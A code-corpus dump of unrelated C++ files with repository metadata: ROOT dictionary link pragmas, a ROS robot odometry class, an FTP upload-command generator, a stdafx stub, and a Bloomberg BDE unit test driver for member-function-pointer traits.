#ifdef __CINT__ #pragma link off all globals; #pragma link off all classes; #pragma link off all functions; #pragma link C++ class std::vector<unsigned short>+; #pragma link C++ class std::pair<unsigned short, std::string>+; #pragma link C++ class std::map<unsigned short, std::string>+; #pragma link C++ class std::vector<MRTSlowData::slowStruct>+; #pragma link C++ class MRTBase+; #pragma link C++ class MRTRunInfo+; #pragma link C++ class MRTxDCHit+; #pragma link C++ class std::vector<MRTxDCHit>+; #pragma link C++ class MRTxDC+; #pragma link C++ class MRTTRB3Hit+; #pragma link C++ class std::vector<MRTTRB3Hit>+; #pragma link C++ class MRTTRB3+; #pragma link C++ class MRTSCAHit+; #pragma link C++ class std::vector<MRTSCAHit>+; #pragma link C++ class MRTSCA+; #pragma link C++ class MRTEventInfo+; #pragma link C++ class MRTBinaryBlob+; #pragma link C++ class LumiGEM+; #pragma link C++ class LumiGEMhit+; #pragma link C++ class LumiGEMeval+; #pragma link C++ class StraightTrack+; #pragma link C++ class std::vector<StraightTrack>+; #pragma link C++ class TeleTracks+; #pragma link C++ class std::vector<double>+; #pragma link C++ class MUSEADC+; #pragma link C++ class MUSETDC1290+; #pragma link C++ class MUSETDC1190+; #pragma link C++ class MUSETRB3+; #pragma link C++ class MUSESCALER+; #pragma link C++ class GeneratorEvent+; #pragma link C++ class GeneratorParticle+; #pragma link C++ class SciFi+; #pragma link C++ class std::multimap<unsigned int,double>+; #pragma link C++ class std::pair<unsigned int,double>+; #pragma link C++ class SciFiOutput+; #pragma link C++ class std::multimap<unsigned int,trbhit>+; #pragma link C++ class std::vector<trbhit>+; #pragma link C++ class TrackHits+; #pragma link C++ class TrackHit+; #pragma link C++ class std::vector<TrackHit>+; #pragma link C++ class ParTypes+; #pragma link C++ class ParType+; #pragma link C++ class std::vector<ParType>+; #pragma link C++ class std::multimap<unsigned int,trbhit>+; #pragma link C++ class std::pair<unsigned int,trbhit>+; #pragma link C++ class TRB3+; #pragma link C++ class trbhit+; #pragma link C++ class mappedchannels+; #pragma link C++ class std::multimap<std::string,v1190hit>+; #pragma link C++ class std::map<std::string,short>+; #pragma link C++ class v1190+; #pragma link C++ class v1190hit+; #pragma link C++ class std::multimap<unsigned int,v1190hit>+; #pragma link C++ class v1290+; #pragma link C++ class v1290hit+; #pragma link C++ class std::multimap<unsigned int,v1290hit>+; #pragma link C++ class v792+; #pragma link C++ class std::multimap<unsigned int,unsigned short>+; #pragma link C++ class mqdc+; #pragma link C++ class std::multimap<unsigned int,unsigned short>+; #pragma link C++ class std::pair<unsigned int,v1190hit>+; #pragma link C++ class std::pair<std::string,v1190hit>+; #pragma link C++ class std::pair<unsigned int,v1290hit>+; #pragma link C++ class std::pair<std::string,v1290hit>+; #pragma link C++ class std::pair<std::string,short>+; #pragma link C++ class gemControltree+; #pragma link C++ class BHraw+; #pragma link C++ class BHbar+; #pragma link C++ class BMraw+; #pragma link C++ class BMbar+; //Ievgen 03/07/2017: #pragma link C++ class TRB_TDC_Board+; #pragma link C++ class TRB_TDC_Channel+; #pragma link C++ class std::pair<std::string,v1190hit>+; #pragma link C++ class std::pair<std::string,v1290hit>+; #pragma link C++ class std::pair<std::string,short>+; #pragma link C++ class Hitclass+; #pragma link C++ class TrackerHit+; //#pragma link C++ class BH+; #pragma link C++ class MRTSlowData+; #pragma link C++ class MRTIndex2Name+; #pragma link C++ struct MRTSlowData::slowStruct+; #endif
[ "bishoy@localhost.localdomain" ]
bishoy@localhost.localdomain
adcb861c85bcd54d75ff7ed92bfb00a5770e13f8
506a359c19f18616d5002361f9c470ff58afdb44
/high-level/scoutos/scout/libscout/src/behaviors/Odometry.cpp
8758b4d9f53791a185860fe79bf0291f4abf71de
[ "MIT", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
CMU-Robotics-Club/Colony
d4df76363597075fdaef26d4c43b078fb8d0c8af
ccc8747ac670171930896201c5284ecd23514df2
refs/heads/master
2020-03-26T17:47:40.332115
2015-04-09T22:03:58
2015-04-09T22:03:58
24,465,817
0
1
null
null
null
null
UTF-8
C++
false
false
2,644
cpp
#include "Odometry.h" using namespace std; /** Set up the odometry node and prepare communcations over ROS */ Odometry::Odometry(string scoutname, Sensors* sensors) : Behavior(scoutname, "odometry", sensors) { name = scoutname; scout_pos = new pos; motor_fl_ticks = motor_fr_ticks = motor_bl_ticks = motor_br_ticks = 0; } /** Set up the odometry node and prepare communcations over ROS */ Odometry::Odometry(string scoutname, string behavior_name, Sensors* sensors) : Behavior(scoutname, behavior_name, sensors) { name = scoutname; scout_pos = new pos; motor_fl_ticks = motor_fr_ticks = motor_bl_ticks = motor_br_ticks = 0; } void Odometry::wait(float duration) { ros::Rate r(WAIT_HZ); int ticks = int(duration * WAIT_HZ); for (int i = 0; i < ticks; i++) { get_position(); spinOnce(); r.sleep(); } } /** Query encoders and estimate position based on encoder reading */ void Odometry::get_position() { float left_dist, right_dist, total_dist, theta; encoder_readings scout_enc = encoders->query(); motor_fl_dist = scout_enc.fl_ticks - motor_fl_ticks; motor_fr_dist = scout_enc.fr_ticks - motor_fr_ticks; motor_bl_dist = scout_enc.bl_ticks - motor_bl_ticks; motor_br_dist = scout_enc.br_ticks - motor_br_ticks; // Get Left and Right distance left_dist = DIST_PER_TICK*(((float)(motor_fl_dist))/2.0 + ((float)(motor_bl_dist))/2.0); right_dist = DIST_PER_TICK*(((float)(motor_fr_dist))/2.0 + ((float)(motor_br_dist))/2.0); total_dist = (left_dist)/2.0 + (right_dist)/2.0; theta = scout_pos->theta + atan2(right_dist - left_dist, WHEEL_BASE); //Use negative theta because we measure theta from 0 on the //right to 180 on the left counter-clock-wise, but this is //negative theta in the coordinate frame. //Also, subtract the delta from y because positive y is down. scout_pos->x += total_dist*cos(-theta); scout_pos->y -= total_dist*sin(-theta); scout_pos->theta = fmod(theta, (float)(2*M_PI)); //Save state for next time in. motor_fl_ticks = scout_enc.fl_ticks; motor_fr_ticks = scout_enc.fr_ticks; motor_bl_ticks = scout_enc.bl_ticks; motor_br_ticks = scout_enc.br_ticks; return; } void Odometry::run() { scout_position = node.advertise< ::messages::ScoutPosition>(name+"/position", 1000); while(ok()) { get_position(); position.name = name; position.x = scout_pos->x; position.y = scout_pos->y; position.theta = scout_pos->theta; scout_position.publish(position); } }
[ "twbrown@andrew.cmu.edu" ]
twbrown@andrew.cmu.edu
d36bc1b5ee448dc2c314ef556c3443cfd7a86f32
b2689b89f1910e0867cc58eadd3349ab2e1206b4
/log_parser/stdafx.cpp
928f405b662ee96765ca3ae9dcf7d836b0ae53fe
[]
no_license
shcci/log_parser
685a8bddf8ff226dcdfd9806326cd8c3a6d0849f
eb5612c601a1d76f496b05d5145461826ce91985
refs/heads/master
2021-01-12T07:51:25.366344
2017-05-09T23:20:29
2017-05-09T23:20:29
77,034,053
0
0
null
null
null
null
UTF-8
C++
false
false
289
cpp
// stdafx.cpp : source file that includes just the standard includes // log_parser.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information #include "stdafx.h" // TODO: reference any additional headers you need in STDAFX.H // and not in this file
[ "shcci@naver.com" ]
shcci@naver.com
eb48bd7464359204f29da5c645740cf1b8a292ec
508c80cc5d415c3eb79887db672a1027f8f4aecb
/ftpFiles.cpp
71e79595b2f3856f0223b8486b290cb3656ab102
[]
no_license
lujun9972/versionControl
6214231105cba023a586c3529019507689dfa98f
f0be93ab369950c73f428047e0ed3dc7de342911
refs/heads/master
2021-01-10T07:38:45.127857
2016-01-18T12:27:42
2016-01-18T12:27:42
49,875,378
1
0
null
null
null
null
UTF-8
C++
false
false
895
cpp
#include <algorithm> #include <iterator> #include <vector> #include <iostream> #include "fileVersion.h" #include "pathTools.h" using namespace std; string getPutCmd(const CFileVersion& cf) { string sSrcFile = cf.m_sFilePath; string sDesFile = PathTools::getUnixPath(sSrcFile); string sCmd = "put "+sSrcFile+" "+sDesFile; return sCmd; } int main(int argc,char** argv) { if(argc != 3) { cerr<<"Usage:"<<argv[0]<<" $ftpUser $ftpPassword"<<endl; return -1; } string sUser = argv[1]; string sPwd = argv[2]; vector<CFileVersion> vcf = getFileVersions(cin); vector<string> vsFtpCmds; string sLoginCmd = string("user ") + argv[1] +" "+argv[2]; vsFtpCmds.push_back(sLoginCmd); vsFtpCmds.push_back("bin"); transform(vcf.begin(),vcf.end(),back_inserter(vsFtpCmds),getPutCmd); copy(vsFtpCmds.begin(),vsFtpCmds.end(),ostream_iterator<string>(cout,"\n")); }
[ "lujun9972@gmail.com" ]
lujun9972@gmail.com
a253c7632f954eef9950a4999ec1470d98f890ee
542c861b857e42d8c550d99f584e207bdc51a139
/groups/bsl/bslmf/bslmf_memberfunctionpointertraits.t.cpp
54b80a54f34e0b6472d77dbdd0802f2a53972e32
[ "MIT" ]
permissive
zhanzju/bsl
3d803ca7a95e13b6b711b1f3fffea0581d3e710a
1bb79982cff9bbaa3fb6d038604f04283ba76f07
refs/heads/master
2020-04-07T18:07:33.905605
2013-05-31T19:08:23
2013-05-31T19:08:23
10,591,841
1
0
null
null
null
null
UTF-8
C++
false
false
23,340
cpp
// bslmf_memberfunctionpointertraits.t.cpp -*-C++-*- #include <bslmf_memberfunctionpointertraits.h> #include <bslmf_issame.h> // for testing only #include <bslmf_typelist.h> #include <stdio.h> // printf #include <stdlib.h> // atoi using namespace BloombergLP; //============================================================================= // TEST PLAN //----------------------------------------------------------------------------- // Overview // -------- // This test driver verifies each of the 21 typelist template classes provided // by bslmf_typelist. Each template is instantiated with the appropriate // number of distinct types. Each type will be test to be sure that the type // defined by it's corresponding Type<N> typedef and TypeOf<N> typedef are // correct. //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- // [1 ] Breathing test //============================================================================= // STANDARD BDE ASSERT TEST MACRO //----------------------------------------------------------------------------- // NOTE: THIS IS A LOW-LEVEL COMPONENT AND MAY NOT USE ANY C++ LIBRARY // FUNCTIONS, INCLUDING IOSTREAMS. static int testStatus = 0; void aSsErT(bool b, const char *s, int i) { if (b) { printf("Error " __FILE__ "(%d): %s (failed)\n", i, s); if (testStatus >= 0 && testStatus <= 100) ++testStatus; } } # define ASSERT(X) { aSsErT(!(X), #X, __LINE__); } //============================================================================= // STANDARD BDE TEST DRIVER MACROS //----------------------------------------------------------------------------- #define LOOP_ASSERT BSLS_BSLTESTUTIL_LOOP_ASSERT #define LOOP2_ASSERT BSLS_BSLTESTUTIL_LOOP2_ASSERT #define LOOP3_ASSERT BSLS_BSLTESTUTIL_LOOP3_ASSERT #define LOOP4_ASSERT BSLS_BSLTESTUTIL_LOOP4_ASSERT #define LOOP5_ASSERT BSLS_BSLTESTUTIL_LOOP5_ASSERT #define LOOP6_ASSERT BSLS_BSLTESTUTIL_LOOP6_ASSERT #define Q BSLS_BSLTESTUTIL_Q // Quote identifier literally. #define P BSLS_BSLTESTUTIL_P // Print identifier and value. #define P_ BSLS_BSLTESTUTIL_P_ // P(X) without '\n'. #define T_ BSLS_BSLTESTUTIL_T_ // Print a tab (w/o newline). #define L_ BSLS_BSLTESTUTIL_L_ // current Line number //============================================================================= // GLOBAL TYPEDEFS/CONSTANTS FOR TESTING //----------------------------------------------------------------------------- #define ASSERT_SAME(T1,T2) ASSERT((1 == bsl::is_same<T1,T2>::value)) struct T0 {}; struct T1 {}; struct T2 {}; struct T3 {}; struct T4 {}; struct T5 {}; struct T6 {}; struct T7 {}; struct T8 {}; struct T9 {}; struct T10 {}; struct T11 {}; struct T12 {}; struct T13 {}; struct T14 {}; typedef T0 (T0::*TestFunc0)(); typedef T1 (T1::*TestFunc1)(T1); typedef T2 (T2::*TestFunc2)(T1, T2); typedef T3 (T3::*TestFunc3)(T1, T2, T3); // typedef T4 (T4::*TestFunc4)(T1, T2, T3, T4); typedef T5 (T5::*TestFunc5)(T1, T2, T3,T4, T5); typedef T6 (T6::*TestFunc6)(T1, T2, T3, T4, T5, T6); typedef T7 (T7::*TestFunc7)(T1, T2, T3, T4, T5, T6, T7); typedef T8 (T8::*TestFunc8)(T1, T2, T3, T4, T5, T6, T7, T8); typedef T9 (T9::*TestFunc9)(T1, T2, T3, T4, T5, T6, T7, T8, T9); typedef T10 (T10::*TestFunc10)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10); typedef T11 (T11::*TestFunc11)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11); typedef T12 (T12::*TestFunc12)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12); typedef T13 (T13::*TestFunc13)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13); typedef T14 (T14::*TestFunc14)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14); typedef T0 (T0::*TestFunc0C)() const; typedef T1 (T1::*TestFunc1C)(T1) const; typedef T2 (T2::*TestFunc2C)(T1, T2) const; typedef T3 (T3::*TestFunc3C)(T1, T2, T3) const; typedef T4 (T4::*TestFunc4C)(T1, T2, T3, T4) const; typedef T5 (T5::*TestFunc5C)(T1, T2, T3,T4, T5) const; typedef T6 (T6::*TestFunc6C)(T1, T2, T3, T4, T5, T6) const; typedef T7 (T7::*TestFunc7C)(T1, T2, T3, T4, T5, T6, T7) const; typedef T8 (T8::*TestFunc8C)(T1, T2, T3, T4, T5, T6, T7, T8) const; typedef T9 (T9::*TestFunc9C)(T1, T2, T3, T4, T5, T6, T7, T8, T9) const; typedef T10 (T10::*TestFunc10C)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10) const; typedef T11 (T11::*TestFunc11C)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11) const; typedef T12 (T12::*TestFunc12C)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12) const; typedef T13 (T13::*TestFunc13C)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13) const; typedef T14 (T14::*TestFunc14C)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14) const; typedef void (*TestVoidFunc0)(); typedef void (*TestVoidFunc1)(T1); typedef void (*TestVoidFunc2)(T1, T2); typedef void (*TestVoidFunc3)(T1, T2, T3); typedef void (*TestVoidFunc4)(T1, T2, T3, T4); typedef void (*TestVoidFunc5)(T1, T2, T3,T4, T5); typedef void (*TestVoidFunc6)(T1, T2, T3, T4, T5, T6); typedef void (*TestVoidFunc7)(T1, T2, T3, T4, T5, T6, T7); typedef void (*TestVoidFunc8)(T1, T2, T3, T4, T5, T6, T7, T8); typedef void (*TestVoidFunc9)(T1, T2, T3, T4, T5, T6, T7, T8, T9); typedef void (*TestVoidFunc10)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10); typedef void (*TestVoidFunc11)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11); typedef void (*TestVoidFunc12)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12); typedef void (*TestVoidFunc13)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13); typedef void (*TestVoidFunc14)(T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14); //============================================================================= // USAGE EXAMPLE //----------------------------------------------------------------------------- // Define the following function types: //.. typedef void (*VoidFunc0)(); //.. // and the following 'struct' with the following members: //.. struct MyTestClass { static void voidFunc0() {} int func1(int) { return 0; } int func2(int, int) { return 1; } }; //.. // In order to deduce the types of 'voidFunc0' and 'func1', we will use the // C++ template system to get two auxiliary functions: //.. template <class TYPE> void checkNotMemberFunctionPointer(TYPE object) { (void) object; ASSERT(0 == bslmf::IsMemberFunctionPointer<TYPE>::value); } template <class RET, class ARGS, class TYPE> void checkMemberFunctionPointer(TYPE object) { (void) object; ASSERT(1 == bslmf::IsMemberFunctionPointer<TYPE>::value); typedef typename bslmf::MemberFunctionPointerTraits<TYPE>::ResultType ResultType; typedef typename bslmf::MemberFunctionPointerTraits<TYPE>::ArgumentList ArgumentList; ASSERT(1 == (bsl::is_same<ResultType, RET>::value)); ASSERT(1 == (bsl::is_same<ArgumentList, ARGS>::value)); } //.. // The following program should compile and run without errors: //.. void usageExample() { ASSERT(0 == bslmf::IsMemberFunctionPointer<int>::value); ASSERT(0 == bslmf::IsMemberFunctionPointer<int>::value); checkNotMemberFunctionPointer( &MyTestClass::voidFunc0); checkMemberFunctionPointer<int, bslmf::TypeList1<int> >( &MyTestClass::func1); checkMemberFunctionPointer<int, bslmf::TypeList2<int, int> >( &MyTestClass::func2); } //.. //============================================================================= // MAIN PROGRAM //----------------------------------------------------------------------------- int main(int argc, char *argv[]) { int test = argc > 1 ? atoi(argv[1]) : 0; bool verbose = argc > 2; bool veryVerbose = argc > 3; bool veryVeryVerbose = argc > 4; (void) verbose; // eliminate unused variable warning (void) veryVerbose; // eliminate unused variable warning (void) veryVeryVerbose; // eliminate unused variable warning printf("TEST " __FILE__ " CASE %d\n", test); switch (test) { case 0: // Zero is always the leading case. case 3: { usageExample(); } break; case 2: { { typedef bslmf::MemberFunctionPointerTraits<TestFunc0C> X; typedef bslmf::TypeList0 ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc0C>::value); ASSERT_SAME(T0, X::ResultType); ASSERT_SAME(const T0, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc1C> X; typedef bslmf::TypeList1<T1> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc1C>::value); ASSERT_SAME(T1, X::ResultType); ASSERT_SAME(const T1, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc2C> X; typedef bslmf::TypeList2<T1,T2> ListType; ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc2C>::value); ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT_SAME(T2, X::ResultType); ASSERT_SAME(const T2, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc3C> X; typedef bslmf::TypeList3<T1,T2,T3> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc3C>::value); ASSERT_SAME(T3, X::ResultType); ASSERT_SAME(const T3, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc4C> X; typedef bslmf::TypeList4<T1,T2,T3,T4> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc4C>::value); ASSERT_SAME(T4, X::ResultType); ASSERT_SAME(const T4, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc5C> X; typedef bslmf::TypeList5<T1,T2,T3,T4,T5> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc5C>::value); ASSERT_SAME(T5, X::ResultType); ASSERT_SAME(const T5, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc6C> X; typedef bslmf::TypeList6<T1,T2,T3,T4,T5,T6> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc6C>::value); ASSERT_SAME(T6, X::ResultType); ASSERT_SAME(const T6, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc7C> X; typedef bslmf::TypeList7<T1,T2,T3,T4,T5,T6,T7> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc7C>::value); ASSERT_SAME(T7, X::ResultType); ASSERT_SAME(const T7, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc8C> X; typedef bslmf::TypeList8<T1,T2,T3,T4,T5,T6,T7,T8> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc8C>::value); ASSERT_SAME(T8, X::ResultType); ASSERT_SAME(const T8, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc9C> X; typedef bslmf::TypeList9<T1,T2,T3,T4,T5,T6,T7,T8,T9> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc9C>::value); ASSERT_SAME(T9, X::ResultType); ASSERT_SAME(const T9, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc10C> X; typedef bslmf::TypeList10<T1,T2,T3,T4,T5,T6,T7,T8,T9,T10> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc10C>::value); ASSERT_SAME(T10, X::ResultType); ASSERT_SAME(const T10, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc11C> X; typedef bslmf::TypeList11<T1,T2,T3,T4,T5,T6,T7,T8,T9,T10,T11> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc11C>::value); ASSERT_SAME(T11, X::ResultType); ASSERT_SAME(const T11, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc12C> X; typedef bslmf::TypeList12<T1,T2,T3,T4,T5,T6,T7,T8,T9,T10,T11,T12> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc12C>::value); ASSERT_SAME(T12, X::ResultType); ASSERT_SAME(const T12, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc13C> X; typedef bslmf::TypeList13<T1,T2,T3,T4,T5,T6,T7,T8,T9,T10,T11, T12,T13> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc13C>::value); ASSERT_SAME(T13, X::ResultType); ASSERT_SAME(const T13, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc14C> X; typedef bslmf::TypeList14<T1,T2,T3,T4,T5,T6,T7,T8,T9,T10,T11, T12,T13,T14> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc14C>::value); ASSERT_SAME(T14, X::ResultType); ASSERT_SAME(const T14, X::ClassType); ASSERT_SAME(ListType, X::ArgumentList); } } break; case 1: { { typedef bslmf::MemberFunctionPointerTraits<TestFunc0> X; typedef bslmf::TypeList0 ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc0>::value); ASSERT_SAME(T0, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc1> X; typedef bslmf::TypeList1<T1> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc1>::value); ASSERT_SAME(T1, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc2> X; typedef bslmf::TypeList2<T1,T2> ListType; ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc2>::value); ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT_SAME(T2, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc3> X; typedef bslmf::TypeList3<T1,T2,T3> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc3>::value); ASSERT_SAME(T3, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc4> X; typedef bslmf::TypeList4<T1,T2,T3,T4> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc4>::value); ASSERT_SAME(T4, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc5> X; typedef bslmf::TypeList5<T1,T2,T3,T4,T5> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc5>::value); ASSERT_SAME(T5, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc6> X; typedef bslmf::TypeList6<T1,T2,T3,T4,T5,T6> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc6>::value); ASSERT_SAME(T6, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc7> X; typedef bslmf::TypeList7<T1,T2,T3,T4,T5,T6,T7> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc7>::value); ASSERT_SAME(T7, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc8> X; typedef bslmf::TypeList8<T1,T2,T3,T4,T5,T6,T7,T8> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc8>::value); ASSERT_SAME(T8, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc9> X; typedef bslmf::TypeList9<T1,T2,T3,T4,T5,T6,T7,T8,T9> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc9>::value); ASSERT_SAME(T9, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc10> X; typedef bslmf::TypeList10<T1,T2,T3,T4,T5,T6,T7,T8,T9,T10> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc10>::value); ASSERT_SAME(T10, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc11> X; typedef bslmf::TypeList11<T1,T2,T3,T4,T5,T6,T7,T8,T9,T10,T11> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc11>::value); ASSERT_SAME(T11, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc12> X; typedef bslmf::TypeList12<T1,T2,T3,T4,T5,T6,T7,T8,T9,T10,T11,T12> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc12>::value); ASSERT_SAME(T12, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc13> X; typedef bslmf::TypeList13<T1,T2,T3,T4,T5,T6,T7,T8,T9,T10,T11, T12,T13> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc13>::value); ASSERT_SAME(T13, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } { typedef bslmf::MemberFunctionPointerTraits<TestFunc14> X; typedef bslmf::TypeList14<T1,T2,T3,T4,T5,T6,T7,T8,T9,T10,T11, T12,T13,T14> ListType; ASSERT(1==X::IS_MEMBER_FUNCTION_PTR); ASSERT(1==bslmf::IsMemberFunctionPointer<TestFunc14>::value); ASSERT_SAME(T14, X::ResultType); ASSERT_SAME(ListType, X::ArgumentList); } } break; default: { fprintf(stderr, "WARNING: CASE `%d' NOT FOUND.\n", test); testStatus = -1; } } if (testStatus > 0) { fprintf(stderr, "Error, non-zero test status = %d.\n", testStatus); } return testStatus; } // ---------------------------------------------------------------------------- // Copyright (C) 2013 Bloomberg L.P. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to // deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or // sell copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS // IN THE SOFTWARE. // ----------------------------- END-OF-FILE ----------------------------------
[ "abeels@bloomberg.net" ]
abeels@bloomberg.net
